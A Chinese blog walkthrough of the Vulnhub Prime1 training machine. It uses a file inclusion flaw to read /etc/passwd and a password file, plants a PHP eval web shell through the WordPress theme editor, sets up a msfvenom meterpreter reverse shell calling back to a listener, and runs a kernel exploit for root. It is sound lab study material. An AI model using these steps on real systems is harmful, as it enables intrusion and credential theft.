IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> Vulnhub Prime1 -> 正文阅读

[PHP知识库]Vulnhub Prime1

明确:《中华人民共和国网络安全法

Description

This machine is designed for those one who is trying to prepare for OSCP or OSCP-Exam.

This is first level of prime series. Some help at every stage is given. Machine is lengthy as OSCP and Hackthebox's machines are designed.

So you have a target to get root flag as well as user flag. If stuck on a point some help are given at a level of enumeration.

ubuntu 靶机,回去扫网段?

<html>
<title>HacknPentest</title>
<body>
 <img src='hacknpentest.png' alt='hnp security' width="1300" height="595" />
</body>

</html>

/dev?

/index.php

/index.php/login/

/wordpress/wp-login.php?

/wordpress/?

/dev??

hello,

now you are at level 0 stage.

In real life pentesting we should use our tools to dig on a web very hard.

Happy hacking. 

/index.php

/index.php/login/?

/wordpress/wp-login.php?

/wordpress/?

droopescan 扫不了登录页面,可能被防了

wpscan 也扫不出用户名,ssh 爆破 admin 也被限制,回头看看,第 0 阶段,需要挖更多的东西,只能是目录扫描没有扫出来的文件了

dirb -X 扫 /dev 下的敏感文件

dirb http://192.168.37.133 -X .php,.txt,.py,.zip ?

除了原扫出的 index,php 和 image.php 多扫出来了一个 secret,从内容看是我们要找的东西

Looks like you have got some secrets.

Ok I just want to do some help to you. 

Do some more fuzz on every page of php which was finded by you. And if
you get any right parameter then follow the below steps. If you still stuck 
Learn from here a basic tool with good usage for OSCP.

https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
 


//see the location.txt and you will get your next move//

从话中我们知道使用 fuzz 模糊测试在某个页面找漏洞参数,burp suite?或者 wfuzz,话中链接就是 wfuzz 的使用,最后提示看?location.txt ,但是每个页面都找不到,应该是接下来 wfuzz 使用的参数内容,就像 DC-9 中我们使用 wfuzz 的流程一样

先找 php 页面,除去登录页面和图片页面,只剩下 /index.php,开始找参数

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.37.133/index.php?FUZZ

响应 ?响应行xL ?响应单词数xW ?响应字符xCh
加入 --hl (隐藏具有相同的 50 行数的响应)
同样有 --hc/hw

wfuzz --hw 12 -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.37.133/index.php?FUZZ

?得到正确参数 file,文件包含漏洞,参数内容应该就是找不到的 location.txt

http://192.168.37.133/index.php?file=location.txt

Do something better

ok well Now you reah at the exact parameter

Now dig some more for next one
use 'secrettier360' parameter on some other php page for more fun.

在前面我们一共有两个?php 网页

index.php

image.php

使用参数?secrettier360 测两个网页

http://192.168.37.133/image.php?secrettier360

利用正确参数,使用文件包含漏洞先看?/etc/passwd?

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
victor:x:1000:1000:victor,,,:/home/victor:/bin/bash
mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false
saket:x:1001:1001:find password.txt file in my directory:/home/saket:
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin

可以看到 saket 的第五个域身份描述中有内容

saket:x:1001:1001:find password.txt file in my directory:/home/saket:

到其目录下拿?password.txt

?secrettier360=/home/saket/password.txt

follow_the_ippsec

这里我想直接 ssh,但是失败,被检测到了,不允许登录

有账号有秘密回去找那个登录框

错误,有问题,再试个 admin,也不行,账号可能有问题

wpscan --url http://192.168.37.133/wordpress/wp-login.php -e u ??

wpscan --url http://192.168.37.133/wordpress?-e u ??

用 wpscan 重扫,扫出之前漏掉的用户,victor

/wordpress/ 中也可以看到唯一发表过的作者也是 victor

登录成功,直接先找可写入木马的地方,找到两个编辑器

???????主题编辑器(Theme Editor)

插件编辑器(Plugin Editor)

查看各个文件后发现只有 secret.php 左下角有 upload file,且有提示我们找到可写入文件

?/* Ohh Finaly you got a writable file */

写入反弹命令后我们需要找到对应的 secret.php 执行,在右边可以看到有三个编辑主题

在我的 wordpress 中文件路径可以找到对应的主题路径

所以 secret.php 的路径应该是

/wordpress/wp-content/themes/twentynineteen/secret.php

注意这里的 Twenty Nineteen 对应的文件夹名应该是 twentynineteen

执行后发现这个反弹语句不行,使用一句话木马可以直接连上

<?php @eval($_REQUEST['Sherlock']); ?>

因为连蚁剑后不好操作,还是虚拟机好用,反弹也可以尽量避免 IP 的变动或者杀毒

用 msf 生成可利用反弹语句

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.37.128 lport=3333 -o shell.php

lhost 和 lport 为监听端

生成的反弹语句得用配套的 msf 监听,nc 不能监听?

use exploit/multi/handler? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ????????????????????????? ?使用侦听模块

set payload php/meterpreter/reverse_tcp? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?使用 payload

show options

set lhost 192.168.37.128? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?设置侦听端

set lport 3333

run

?

执行文件,监听成功

pwd? ? ? ? ? ? ? ? ? ? 当前目录

sysinfo? ? ? ????????? 系统信息

getuid? ? ? ?????????? 当前权限

Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64

Ubuntu 内核版本? ? ? ? ? ? ? ? Ubuntu 发行版本

Ubuntu 版本号,老版本查漏洞

一共两个本地提权脚本

由于是 c 语言文件,要使用先编译

?

使用 upload 将文件传入,当然这里也可以用 http 传入(图二),但是要提取赋权靶机才能下载

chmod 777 45010

chmod a=rwx file 和 chmod 777 file 等价

a????????所有人

r? ? ? ? ?4

w? ? ? ? 2

x? ? ? ? ?1

?进入终端,进入 /tmp 目录,执行脚本?./Prime_1_45010

?

如果使用 upload 上传后会发现脚本权限不够,跟 DC-8 一样,这里可以直接在靶机上赋权

?继续执行可执行文件后无报错

得到 root flag

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-04-22 18:16:01  更:2022-04-22 18:16:03 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/18 12:05:56-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码